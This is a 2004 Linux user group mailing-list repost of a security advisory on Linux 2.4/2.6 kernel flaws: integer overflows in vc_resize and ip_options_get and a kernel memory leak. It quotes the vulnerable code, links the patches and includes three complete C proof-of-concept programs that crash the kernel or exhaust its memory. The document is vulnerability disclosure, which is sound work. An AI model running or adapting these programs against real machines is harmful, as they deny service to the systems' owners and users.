[LUG-Ischia] Fun with the linux kernel (2.6, 2.4). windoze is a joke

Linux User Group Ischia info@lug-ischia.org
Mer 15 Dic 2004 22:10:17 CET


Georgi Guninski security advisory #72, 2004 

Fun with the linux kernel (2.6,2.4). windoze is a joke 

Systems affected:
linux kernel 2.6 <= 2.6.9, 2.4 <= 2.4.28 on i386 (at least) 

Date: 15 December 2004 

Legal Notice:
This Advisory is Copyright (c) 2004 Georgi Guninski.
You  may  not  modify	it   and   distribute	it   or   distribute
parts
of it without the author's written permission - this especially
applies  to
so called "vulnerabilities databases"  and  securityfocus,  microsoft,	
cert
and mitre.
If   you   want    to	 link	 to    this    content	  use	 the	URL:
http://www.guninski.com/where_do_you_want_billg_to_go_today_2.html
Anything in this document may change without notice. 

Disclaimer:
The  information  in  this  advisory  is  believed   to   be   true
though
it may be false.
The opinions  expressed  in  this  advisory  and  program  are	my  own
and
not   of   any	 company.    The   usual   standard   disclaimer
applies,
especially the fact that Georgi Guninski  is  not  liable  for	any
damages
caused by direct  or  indirect	use  of  the  information  or
functionality
provided  by  this  advisory  or  program.    Georgi   Guninski   bears
no
responsibility for  content  or  misuse  of  this  advisory  or
program  or
any derivatives thereof. 

Description: 

there are local integer overflows in ip_options_get and vc_resize and a
local memory leak in ip_options_get.
this means at least a DoS. 

Details: 

1. vc_resize 

there is an integer overflow in vc_resize in vt.c:
 --------------------
int vc_resize(int currcons, unsigned int cols, unsigned int lines)
{
	unsigned long old_origin, new_origin, new_scr_end, rlth, rrem, err =
0;
	unsigned int old_cols, old_rows, old_row_size, old_screen_size;
	unsigned int new_cols, new_rows, new_row_size, new_screen_size;
	unsigned short *newscreen; 

	WARN_CONSOLE_UNLOCKED(); 

	if (!vc_cons_allocated(currcons))
		return -ENXIO; 

	new_cols = (cols ? cols : video_num_columns);
	new_rows = (lines ? lines : video_num_lines);
	new_row_size = new_cols << 1;
	new_screen_size = new_row_size * new_rows;
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	if (new_cols == video_num_columns && new_rows == video_num_lines)
		return 0; 

	newscreen = (unsigned short *) kmalloc(new_screen_size, GFP_USER);
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 -------------------- 

(new_row_size * new_rows) may be > 2^32 - 1 

it is called by at least vt_ioctl.c case VT_RESIZEX: 

there is some chance it may be exploitable, have not checked much. 

this works only from console (unless you may do ptrace()). 

2. memory leak in ip_options_get 

there is local memory leak if ip_cmsg_send calls a lot times
ip_options_get. ip_options_get does kmalloc() and overwrites the
previously
kmalloc()ed pointer, so it can't be freed. 

3. ip_options_get integer overflow (in 2.4 can't be done) 

the cmsg_len fun was disclosed first by Paul Starzetz <ihaquer@isec.pl> 

there is local integer overflow in 2.6.9 in ip_options_get
(net/ipv4/ip_options.c) triggered by ip_cmsg_send
(net/ipv4/ip_sockglue.c):
 -------
int err; 

case IP_RETOPTS:
err = cmsg->cmsg_len - CMSG_ALIGN(sizeof(struct cmsghdr));
err = ip_options_get(&ipc->opt, CMSG_DATA(cmsg), err < 40 ? err : 40,
0);
 ------------------------------------------------ ^^^^^^^^^^^^^^^ 

if cmsg->cmsg_len is -1, optlen in ip_options_get may be -13 and then
opt = kmalloc(sizeof(struct ip_options)+((optlen+3)&~3), GFP_KERNEL);
overflows and then 	
memcpy(opt->__data, data, optlen);
blows the kernel. 

another interesting code path with negative cmsg_len is
compat.c:
 -----------------------
int cmsghdr_from_user_compat_to_kern(struct msghdr *kmsg,
                              unsigned char *stackbuf, int
stackbuf_size)
{
       if(kcmlen > stackbuf_size)
               kcmsg_base = kcmsg = kmalloc(kcmlen, GFP_KERNEL);
       while(ucmsg != NULL) {
               __get_user(ucmlen, &ucmsg->cmsg_len);
               tmp = ((ucmlen - CMSG_COMPAT_ALIGN(sizeof(*ucmsg))) +
                      CMSG_ALIGN(sizeof(struct cmsghdr)));
               kcmsg->cmsg_len = tmp;
               __get_user(kcmsg->cmsg_level, &ucmsg->cmsg_level);
               __get_user(kcmsg->cmsg_type, &ucmsg->cmsg_type); 

               /* Copy over the data. */
               if(copy_from_user(CMSG_DATA(kcmsg),
CMSG_COMPAT_DATA(ucmsg),
		(ucmlen - CMSG_COMPAT_ALIGN(sizeof(*ucmsg)))))
                       goto out_free_efault;
 --------------
though it does not seem hit with default vanilla kernel. 


Fix: 

>= 2.6.10rc3bk5 fixes the problems.
seems like the 2.4rc is also fixed. 

The following patches help: 

http://linux.bkbits.net:8080/linux-2.6/cset@41b768d1ySHbfa7cUWDle8NjDT_02A
http://linux.bkbits.net:8080/linux-2.6/cset@41b76c07Ee61GkoNwMH-oOvWG2FdxA
http://linux.bkbits.net:8080/linux-2.6/cset@41b9e26aALoEsodik-bxhwSetwv13g
http://linux.bkbits.net:8080/linux-2.6/cset@41b76673BNGyitGqJmXlJzqgdV85yg 

http://linux.bkbits.net:8080/linux-2.4/cset@41b76e94BsJKm8jhVtyDat9ZM1dXXg
http://linux.bkbits.net:8080/linux-2.4/cset@41b766beodCDEFPbjDRLoUUUxw4Z6w
http://linux.bkbits.net:8080/linux-2.4/cset@41b77314ZtyUzWzZFzaCRGoQc6hKcw
http://linux.bkbits.net:8080/linux-2.4/cset@41c01f2bHFmPwBYQmce6Aw0owIyqkg 

testcases: 

/* vc_resize int overflow
* Copyright Georgi Guninski
* Cannot be used in vulnerability databases
* */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/vt.h>
#include <sys/vt.h>
#include <sys/ioctl.h>
#include <string.h>
#include <unistd.h> 

int main(int ac, char **av)
{
int fd;
struct vt_consize vv;
int cou=4242; 

fd=open("/dev/tty",O_RDWR);
if (fd<0) {perror("open");return -42;}
memset(&vv,0,sizeof(vv));
vv.v_clin=0;
vv.v_vcol=0;
vv.v_ccol=0; 

/* magic values, overflow on i386*/
vv.v_rows=65535;
vv.v_cols=32769; 

system("sync");
if (ioctl(fd,VT_RESIZEX,&vv) < 0) {perror("ioctl");return -4242;}
while(cou--) printf(";)\n");
close(fd);
return 42;
} 

/* memory leak
* Copyright Georgi Guninski
* Cannot be used in vulnerability databases (like securityfocus and
mitre)
* */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <ctype.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h> 

int main(int ac,char **av)
{
struct msghdr msghdr;
struct iovec iovector[10];
int i,s,j,ma;
struct sockaddr_in sockad;
char msg[128];
struct cmsghdr *cmsg,*cm2;
char opts[24]; 

ma=250;
printf("just wait and watch memory usage\n"); 

memset(opts,0,sizeof(opts)); 

while(42)
{
s=socket(PF_INET, /*SOCK_STREAM*/ SOCK_DGRAM, 0);
sockad.sin_family = AF_INET;
sockad.sin_addr.s_addr=inet_addr("127.0.0.1");
sockad.sin_port=htons(8080); 

connect(s,(struct sockaddr *) &sockad, sizeof(sockad)); 

memset(msg,'v',sizeof(msg));
#define VV (ma*(sizeof(struct cmsghdr)+sizeof(opts))+1024*1024)
cmsg = malloc(VV);
memset(cmsg,0,VV);
cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts);
cmsg->cmsg_level = SOL_IP;
cmsg->cmsg_type = IP_RETOPTS;
memcpy(CMSG_DATA(cmsg), opts, sizeof(opts)); 

cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cmsg)+sizeof(opts));
for(j=0;j<ma;j++)
{
cm2->cmsg_level = SOL_IP;
cm2->cmsg_type = IP_RETOPTS;
cm2->cmsg_len =  sizeof(struct cmsghdr) + sizeof(opts);
cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cm2)+sizeof(opts));
} 

cm2->cmsg_level = SOL_IP;
cm2->cmsg_type = IP_RETOPTS;
cm2->cmsg_len =  sizeof(struct cmsghdr) + 8; 

msghdr.msg_name = &sockad;
msghdr.msg_namelen = sizeof(sockad); 

msghdr.msg_control=cmsg;
msghdr.msg_controllen= cmsg->cmsg_len +
(j)*cmsg->cmsg_len+cm2->cmsg_len;
msghdr.msg_iov = iovector; 

msghdr.msg_iovlen = 1;
iovector[0].iov_base = msg;
iovector[0].iov_len = sizeof(msg); 

if ((i = sendmsg(s, &msghdr, 0)) < 0)
{perror("sendmsg");return -42;} 

close(s);
free(cmsg);
}
return 42;
} 

/* int overflow in ip_options_get
* Copyright Georgi Guninski
* Cannot be used in vulnerability databases (like securityfocus and
mitre)
* */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <ctype.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h> 

int main(int ac,char **av)
{
struct msghdr msghdr;
struct iovec iovector[10];
int i,s;
struct sockaddr_in sockad;
char msg[128];
struct cmsghdr *cmsg,*cm2;
char opts[12]; 

s=socket(PF_INET, /*SOCK_STREAM*/ SOCK_DGRAM, 0);
sockad.sin_family = AF_INET;
sockad.sin_addr.s_addr=inet_addr("127.0.0.1");
sockad.sin_port=htons(8080); 

connect(s,(struct sockaddr *) &sockad, sizeof(sockad)); 

memset(msg,'v',sizeof(msg));
memset(opts,0,sizeof(opts));
#define VV 1024*1024
cmsg = malloc(VV);
memset(cmsg,0,VV);
cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts);
cmsg->cmsg_level = SOL_IP;
cmsg->cmsg_type = IP_RETOPTS;
memcpy(CMSG_DATA(cmsg), opts, sizeof(opts));
cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cmsg)+sizeof(opts));
cm2->cmsg_level = SOL_IP;
cm2->cmsg_type = IP_RETOPTS;
cm2->cmsg_len =  -1; 

msghdr.msg_name = &sockad;
msghdr.msg_namelen = sizeof(sockad); 

msghdr.msg_control=cmsg;
msghdr.msg_controllen= cmsg->cmsg_len + 420;
msghdr.msg_iov = iovector; 

msghdr.msg_iovlen = 1;
iovector[0].iov_base = msg;
iovector[0].iov_len = sizeof(msg);
system("sync");
if ((i = sendmsg(s, &msghdr, 0)) < 0)
perror("sendmsg");
return 42;
} 


Georgi Guninski
########################################
......--.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
....|@_ @|   Linux User Group Ischia   ~
....|:_/ |          LUG-Ischia         ~
...//   \ \  @:. info@lug-ischia.org   ~
..(|     | ) www:.www.lug-ischia.org   ~
./'\_   _/~\  http://ischia.linux.it   ~
.\___)=(___/~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 




Maggiori informazioni sulla lista lugischia